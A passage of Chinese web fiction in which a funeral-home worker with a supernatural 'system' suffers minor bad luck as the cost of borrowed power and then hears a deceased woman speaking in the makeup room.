如果不是不想给身体原主人多惹麻烦,温时简真想骂他两句,问他是不是因为偷男人被人打过所以这么熟悉。 早知道就让他卡车里,等消防的赶来再慢慢把他折腾出来。 不过转念一下,不管车祸是谁的责任,反正他罪是受了。 温时简心里顿时平衡了一些。 头痛的感觉消散得差不多,她便爬起来洗漱。 今天已经是第六天了,坚持过明天,她的工作就稳了。 殡仪馆的环境是真的好。 温时简出门的时候,周围全是鸟叫声,叽叽喳喳的。 她心情还好,所以也不觉…… 视线余光忽然看到有什么东西落到了肩膀上,她下意识侧过头去。 一坨新鲜的鸟粪。 伴随着臭味钻进鼻子里。 温时简:“……” 心情顿时不好了。 一群臭鸟! 温时简只能回宿舍楼清理一下。 她本来起得就晚,这一耽搁,赶到食堂的时候,早餐已经快结束了。 也没心思挑了,随便拿了几样吃的,酷酷往嘴里炫。 结果喝汤的时候,不小心呛到了。 她捂着纸巾猛猛咳嗽了半天。 周围人纷纷看过来。 这个时候,温时简还没多想,只以为是意外。 等她赶到遗体处置楼打卡的时候,发现打卡机出故障了。 温时简:“……?” “今天是不是有哪里不对?”她问系统。 “看来,这就是你付出的代价。” 温时简扯了扯嘴角,“我不会一直这么倒霉吧?” “你后续如果不再借取力量,就不会。” 温时简仔细想了想,这种小倒霉,虽然是挺烦人的,但相比关键时候获得的力量,好像也不算什么。 她甚至觉得这个代价稍微有些轻了,那力量她用着会有点不安。 “什么时候能再刷一具会说话的遗体出来啊?” 温时简心里想着。 她现在是真的很需要完成任务后给的奖励,最好还是跟武力值有关的。 不过话说回来,她连方小雅的委托都还没真正做完呢。 她之前通过电话跟方母联系过,拜托对方留好方小雅的手机号,因为还涉及了一笔钱,但没说原因,主要怕被别人听到,徒增是非。 等签了正式工作合同,她会有两天的假期,正好把方小雅这件事给办了。 打卡机在九点后自己好了。 不过这对温时简没多少影响,打个电话给人事报备一下就行了,而且旁边还有监控呢。 就算监控坏了,她也能给它‘修’好。 今天送进化妆间的第一具遗体,是一个意外丧生的女性,从照片上来看,大概四十左右的年纪,气质温婉。 化妆间的门刚打开,温时简就听到里面有一个陌生的声音在说话。 “有鬼……鬼……” “救命……救救我……” “好疼啊……”